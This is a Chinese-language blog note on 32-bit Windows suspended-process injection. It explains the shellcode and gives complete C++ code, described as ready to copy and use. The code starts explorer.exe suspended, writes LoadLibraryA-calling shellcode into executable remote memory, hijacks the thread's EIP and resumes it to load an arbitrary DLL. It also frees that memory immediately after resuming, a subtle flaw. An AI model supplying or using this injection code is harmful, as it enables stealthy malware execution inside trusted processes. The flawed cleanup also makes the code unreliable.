ring3 x32掛起進程注入原理.
- 2019 年 12 月 11 日
- 筆記
目錄
一丶掛起進程注入簡介與前言
掛起進程其實就是在創建進程的時候不讓其先執行.然後獲取它的EIP 將它的EIP變成我們ShellCode所在的內存.進行執行.不難.
主要分為幾步:
1.以CREATE_SUSPENDED標誌掛起創建一個你想注入的進程 2.獲取這個進程的上下文環境 GetThreadContext 64位下使用Wow64GetThreadContext 請注意.CONTEXT結構還是同一個.使用64的會出錯.親測.(EIP注入的時候測試過.不相信可以去試試) 3.定義自己的ShellCode. ShellCode主要作用就是注入指定路徑下的DLL 4.修復ShellCode 因為畢竟ShellCode地址是絕對的所以修復下即可. 5.在目標進程中申請遠程可讀寫執行內存.並且將修復好的ShellCode寫入到目標進程 6.將EIP修改為可讀寫內存的地址.恢複線程則會調用到我們申請地址位置處開始執行.
7.釋放一系列資源.
綜上所述.其實沒有難點.掛起進程注入主要的核心思想就是 掛起進程修改EIP為我們ShellCode起始位置.然後進行調用即可.
這裡核心主要是ShellCode
ShellCode如下:
UCHAR g_ShellCode[] = { 0x68,0x00,0x00,0x00,0x00, //push Context.EIP 需要修復 0x60, //puad 0x9C, //pushfd 0xE8, 0x00, 0x00, 0x00, 0x00, //call $0 代碼重定位 0x5B, //pop ebx 0x83, 0xEB,0x00, //sub ebx,0 可加可不加 0x8D, 0x4B,0x12, //lea ecx,dword ptr ds:[ebx + 0x10] 定位到ShellCode下方獲取DLLpath地址 0x51, //push ecx 0xB8, 0x00,0x00,0x00,0x00, //mov eax,LoadLibraryA 修復LoadLibraryA的地址 0xFF,0XD0, //call eax 為啥使用Mov reg,address call reg. 自己去坑吧. 0x9D, //popfd 0x61, //popad 0xC3, //ret 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
ShellCode主要知識點有三個
1.保存contex.EIP 2.重定位LoadLibrary的參數 3.重定位LoadLibrary的地址
下面主要針對這幾點講解.
二丶ShellCode核心講解.
2.1 保存Contex.EIP
首先掛起進程注入. 你通過CONTEXT 這個結構可以獲取 目標進程EIP.但是你要想辦法執行完ShellCode之後跳轉回去. 所以這裡我使用了一個簡單的方法
push Address ret
這個方式是利用堆棧.以及ret指令來進行返回的. 當我們保存了原始地址.然後ret的時候.ret會把我們push的地址當做返回地址來執行.
2.2 DLL路徑重定位
我們正常來說.調用LoadLibraryA/W的時候.都會進行參數壓棧進而進行調用. 如:
push xxxx地址 (地址裏面是個DLL路徑) call LoadLibraryA; 調用LoadLibrary
而為了方便我直接代碼重定位.直接將ShellCode尾部寫入我們的DLL路徑.
call $0: pop ebx
使用這兩句可以得到ebx當前指令指定的EIP的地址. 直接當前 EIP + xxx偏移(偏移是你寫DLL路徑的位置的偏移) 就是我們的參數地址.
2.3 LoadLibrary的重定位
當你直接使用 Call的方式調用LoadLibrary的時候.你還需要計算偏移.各種等等. 但是這種不需要的.為啥. 因為Windows在啟動後 kernel32的基址已經固定了.任何程序啟動都會默認加載 kernel32的.所以直接使用LoadLibrary當地址即可. 但是你使用Call的方式 (call LoadLibrary) 你還需要計算你的ShellCode 與LoadLibrary的偏移.所以我們直接使用寄存器來做.
mov reg,LoadLibrary call reg
reg代表任意通用寄存器. 此時我們的ShellCode就可以正常運行了.通過以上步驟就可以開始運行了.
三丶 全部C++代碼.拷貝即可使用.
#include <windows.h> #include <stdlib.h> #include <stdio.h> #include <string> using namespace std; UCHAR g_ShellCode[] = { 0x68,0x00,0x00,0x00,0x00, //push Context.EIP 需要修復 0x60, //puad 0x9C, //pushfd 0xE8, 0x00, 0x00, 0x00, 0x00, //call $0 代碼重定位 0x5B, //pop ebx 0x83, 0xEB,0x00, //sub ebx,0 可加可不加 0x8D, 0x4B,0x12, //lea ecx,dword ptr ds:[ebx + 0x10] 定位到ShellCode下方獲取DLLpath地址 0x51, //push ecx 0xB8, 0x00,0x00,0x00,0x00, //mov eax,LoadLibraryA 修復LoadLibraryA的地址 0xFF,0XD0, //call eax 為啥使用Mov reg,address call reg. 自己去坑吧. 0x9D, //popfd 0x61, //popad 0xC3, //ret 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, //填寫為DLL路徑 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 //不夠可以繼續添加 }; /* 1.掛起創建Explorer 2.創建ShellCode 3.獲取上下文環境 4.申請遠程內存 寫入ShellCode 5.回去上下文環境 ShellCode 可以寫定位LoadLibrary 然後進行調用 */ //1.掛起創建 Explorer PPROCESS_INFORMATION StartSuspendProcess(string SuspendProcessName,char szComand[]) { BOOL bRet = FALSE; PPROCESS_INFORMATION pi = nullptr; pi = new PROCESS_INFORMATION;; if (pi == nullptr) { return nullptr; } STARTUPINFO si = { 0 }; si.cb = sizeof(STARTUPINFO); //創建掛起進程 bRet = CreateProcess( SuspendProcessName.c_str(), szComand, nullptr, nullptr, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, pi); if (bRet == FALSE) { return nullptr; } return pi; } //申請遠程內存 LPVOID lpExRemoteAllocMemory(HANDLE hProcess,DWORD flAllocation,DWORD Protected) { LPVOID lpBuffer = nullptr; lpBuffer = VirtualAllocEx(hProcess, 0, 0x1000, flAllocation, Protected ); if (lpBuffer != nullptr) return lpBuffer; return nullptr; } //寫入ShellCode到遠程內存 DWORD lpWriteRemoteMemory(HANDLE hProcess, LPVOID lpExRemoteMemory) { //將ShellCode寫入到遠程內存 DWORD dwRet = 0; SIZE_T siWriteBytes; if (hProcess == 0) return 0; if (lpExRemoteMemory == nullptr) return 0; dwRet = WriteProcessMemory( hProcess, lpExRemoteMemory, g_ShellCode, sizeof(g_ShellCode) / sizeof(g_ShellCode[0]), &siWriteBytes); return dwRet; } //修復ShellCode,並且將DLL路徑寫入到ShellCode位置. DWORD FixShellCode(DWORD dwContexEip,char* DllPath) { /* 縱觀全局數據區,ShellCode修復的位置有2處 1.首先要修復原Context的EIP. 這樣RET之後直接跳轉回去. 2.要修復LoadLibrary的地址. 因為Kernel32是直接加載的都是屬於內存映射.所以虛擬地址一樣.直接獲取填入即可. 不用修復DLLpath. 因為自動進行代碼重定位寫法了. */ //1.修復EIP __try { *(DWORD*)(char*)&g_ShellCode[1] = dwContexEip; //2.修復LodLibrary地址. //修復 *(DWORD*)(char*)&g_ShellCode[21] = (DWORD)LoadLibraryA; //將DLL內容拷貝到ShellCode存放路徑處 memcpy((char*)&g_ShellCode[30], DllPath, strlen(DllPath) + 1); } __except (EXCEPTION_EXECUTE_HANDLER) { //出錯了. } return 1; } void run() { DWORD dwRet = 0; LPVOID lpStartRemoteAddress = nullptr; //1.掛起創建進程 PPROCESS_INFORMATION pi = nullptr; char szCmd[] = ""; pi = StartSuspendProcess("C:\Windows\SysWOW64\explorer.exe",szCmd); if (!pi) { return; } //2.獲取進程上下文環境. CONTEXT MyContext = { 0 }; MyContext.ContextFlags = CONTEXT_FULL; dwRet = GetThreadContext(pi->hThread, &MyContext); if (!dwRet) { return; } //3.修復ShellCode的值.並且寫入自己的DLL路徑 char szDllPath[] = "填入你的DLL路徑.如: C:\xxx.dll"; dwRet = FixShellCode(MyContext.Eip,szDllPath); //4.申請遠程內存 lpStartRemoteAddress = lpExRemoteAllocMemory(pi->hProcess, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (lpStartRemoteAddress == nullptr) { return ; } //5.將ShellCode寫入到內存中 dwRet = lpWriteRemoteMemory(pi->hProcess, lpStartRemoteAddress); //6.恢復進程啟動,修改EIP為我們的ShellCode MyContext.Eip = (DWORD)lpStartRemoteAddress; SetThreadContext(pi->hThread, &MyContext); ResumeThread(pi->hThread); //請注意這裡 EIP修改為我們的ShellCode位置.還要恢複線程才會進行執行. //釋放一系列資源 VirtualFreeEx(pi->hProcess, lpStartRemoteAddress, 0x1000, MEM_RELEASE); CloseHandle(pi->hProcess); CloseHandle(pi->hThread); } int main() { run(); return 0; }